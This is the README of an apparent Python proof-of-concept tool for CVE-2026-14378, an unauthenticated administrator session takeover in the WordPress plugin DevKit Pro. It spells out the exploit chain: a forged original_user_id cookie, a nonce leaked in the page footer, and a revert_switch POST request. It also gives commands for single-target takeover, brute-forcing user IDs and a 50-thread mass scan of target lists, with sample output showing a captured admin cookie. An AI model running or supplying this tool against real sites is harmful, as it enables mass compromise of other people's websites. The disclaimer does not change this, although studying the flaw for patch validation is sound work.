
Scanner PoC in Python ed exploit per CVE-2026-14378, un takeover di sessione amministratore pre-auth nel plugin WordPress DevKit Pro tramite cookie original_user_id contraffatto.
Scanner proof-of-concept e helper di exploit per CVE-2026-14378: acquisizione di sessione amministratore non autenticata nel plugin WordPress DevKit Pro (dplugins) tramite un flusso difettoso di "ripristino" del cambio utente.
Legale: Utilizzare solo su sistemi di propria proprietà o per i quali si dispone di esplicito permesso scritto di test. L'accesso non autorizzato è illegale. Questo repository è destinato alla ricerca difensiva, alla verifica e alla validazione delle patch.
PoC for CVE-2026-14378: DevKit Pro ≤2.3.0 pre-auth admin takeover via forged original_user_id cookie + wp_footer revert_switch nonce. check/admin + mass scan.
Argomenti suggeriti: cve-2026-14378, wordpress, wordpress-exploit, devkit-pro, dplugins, authentication-bypass, poc, security-research
| CVE | CVE-2026-14378 |
| Prodotto | DevKit Pro (fornitore: dplugins) |
| Tipo | Bypass di autenticazione → sessione amministratore completa (CWE-287) |
| Interessate | Tutte le versioni ≤ 2.3.0 |
| Corretta | 3.0.0+ (changelog) |
| CVSS 3.1 | 9.8 Critico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| CVE | Problema | Auth |
|---|---|---|
| CVE-2026-14357 | Installazione arbitraria di temi ZIP tramite DPDEV_install_themes | Subscriber+ |
| CVE-2026-14378 | Acquisizione di sessione tramite ripristino del cambio utente | Nessuna |
Questo PoC prende di mira solo la 14378.
Il Users Manager di DevKit Pro può impersonare utenti per i test. Quando un amministratore passa a un altro account, il plugin memorizza l'identità precedente in un cookie lato client:
original_user_id — ID utente dell'account prima del cambioQuando quel cookie è presente, il plugin renderizza un controllo "switch back" in wp_footer sul front end, includendo un nonce WordPress legato all'azione di ripristino.
Il gestore revert_switch (AJAX) chiama verify_nonce_and_capability(), che valuta erroneamente manage_options rispetto all'utente referenziato da original_user_id, invece di usare current_user_can() sul richiedente effettivo (che potrebbe essere completamente non autenticato).
Un attaccante può:
Cookie: original_user_id=<administrator_user_id> (comunemente 1).POST a wp-admin/admin-ajax.php con action=revert_switch (o alias specifico del plugin) e il nonce trapelato.wp_set_auth_cookie() per l'ID utente falsificato → sessione amministratore autenticata.Contesto ufficiale della funzionalità: Users Manager — switch back.
sequenceDiagram
participant A as Attacker
participant W as WordPress (front end)
participant P as DevKit Pro
participant X as admin-ajax.php
A->>W: GET / (Cookie: original_user_id=1)
W->>P: wp_footer hook
P-->>W: switch-back HTML + nonce
W-->>A: page body contains nonce
A->>X: POST action=revert_switch + nonce
Note over P,X: capability checked for user 1, not attacker
X-->>A: Set-Cookie wordpress_logged_in_*
A->>W: GET /wp-admin/
W-->>A: admin dashboard
Il comando check è intenzionalmente rigoroso: segnala vulnerabile solo se un nonce di switch-back appare dopo aver falsificato original_user_id.
| Osservazione | Significato probabile |
|---|---|
VULNERABLE — switch-back material leaked | Il percorso di exploit probabilmente funziona; confermare in un laboratorio prima di admin. |
not vulnerable (check): no switch-back nonce… | DevKit corretto (≥ 3.0.0), plugin non installato, Users Manager disabilitato (disattivato per impostazione predefinita), percorso plugin personalizzato, cache/CDN che rimuove il footer, o sito errato. |
DevKit Pro readme not confirmed | Nessuna impronta pubblica di readme.txt; il plugin potrebbe comunque essere presente ma nascosto — l'oracolo rimane il test decisivo. |
DevKit Pro <= 2.3.0 suspected + ancora nessun nonce | La versione vulnerabile potrebbe essere installata ma la funzionalità di switch non è abilitata o il footer non viene renderizzato sugli URL testati. |
Nota: Un HTTP 200 su /wp-content/plugins/.../readme.txt che restituisce una pagina HTML completa è un comune soft 404 di WordPress. Questo PoC convalida il contenuto del readme (intestazione Plugin Name:), non solo il codice di stato.
pip install requests
Opzionale: requirements.txt contiene un minimo bloccato:
requests>=2.28.0
git clone https://github.com/YOUR_USER/cve-2026-14378-poc.git
cd cve-2026-14378-poc
pip install -r requirements.txt # or: pip install requests
Non completa l'acquisizione; testa solo l'oracolo del nonce nel footer.
python poc.py check https://target.example/
python poc.py check https://target.example/ --user-id 2
python poc.py check https://target.example/ --timeout 40
Tenta il revert_switch completo e verifica l'accesso a /wp-admin/.
python poc.py admin https://target.example/
python poc.py admin https://target.example/ --user-id 1 --brute 5
python poc.py admin https://target.example/ --log successes.txt
| Flag | Descrizione |
|---|---|
--user-id | ID utente amministratore (o target) falsificato in original_user_id (predefinito: 1) |
--brute | Prova gli ID 1..N quando il primo ID fallisce |
--timeout | Timeout HTTP in secondi (predefinito: 25) |
--log | Aggiunge gli URL admin riusciti a un file (predefinito: logs.txt) |
Un URL per riga; i commenti # e le colonne extra dopo uno spazio vengono ignorati.
# Detection only (recommended first pass)
python poc.py targets.txt
# Exploit attempts (authorized targets only)
python poc.py targets.txt admin
Se non viene passato alcun file come primo argomento, lo script richiede un percorso di elenco (stesso comportamento dei vecchi scanner di massa).
La modalità di massa utilizza un pool di thread (50 worker). Regolare in poc.py se si incontrano limiti di velocità.
# FOFA / manual imports
https://staging.example.com
example.org
192.0.2.10|wordpress|1.2.3 # only first token is used
Vulnerabile (check):
[*] https://vulnerable.example
[+] DevKit Pro <= 2.3.0 suspected (stable tag 2.3.0)
[+] VULNERABLE — switch-back material leaked (action=revert_switch, nonce=a1b2c3d4…)
Non vulnerabile (scansione di massa tipica):
[*] https://patched.example
[!] DevKit Pro readme not confirmed (hidden path, WAF, or plugin absent)
[-] not vulnerable (check): no switch-back nonce in wp_footer with forged original_user_id cookie — patched DevKit, Users Manager off, or wrong target
Admin riuscito:
[*] https://lab.local
[+] https://lab.local -> administrator session as user_id=1
[+] cookie: wordpress_logged_in_…=…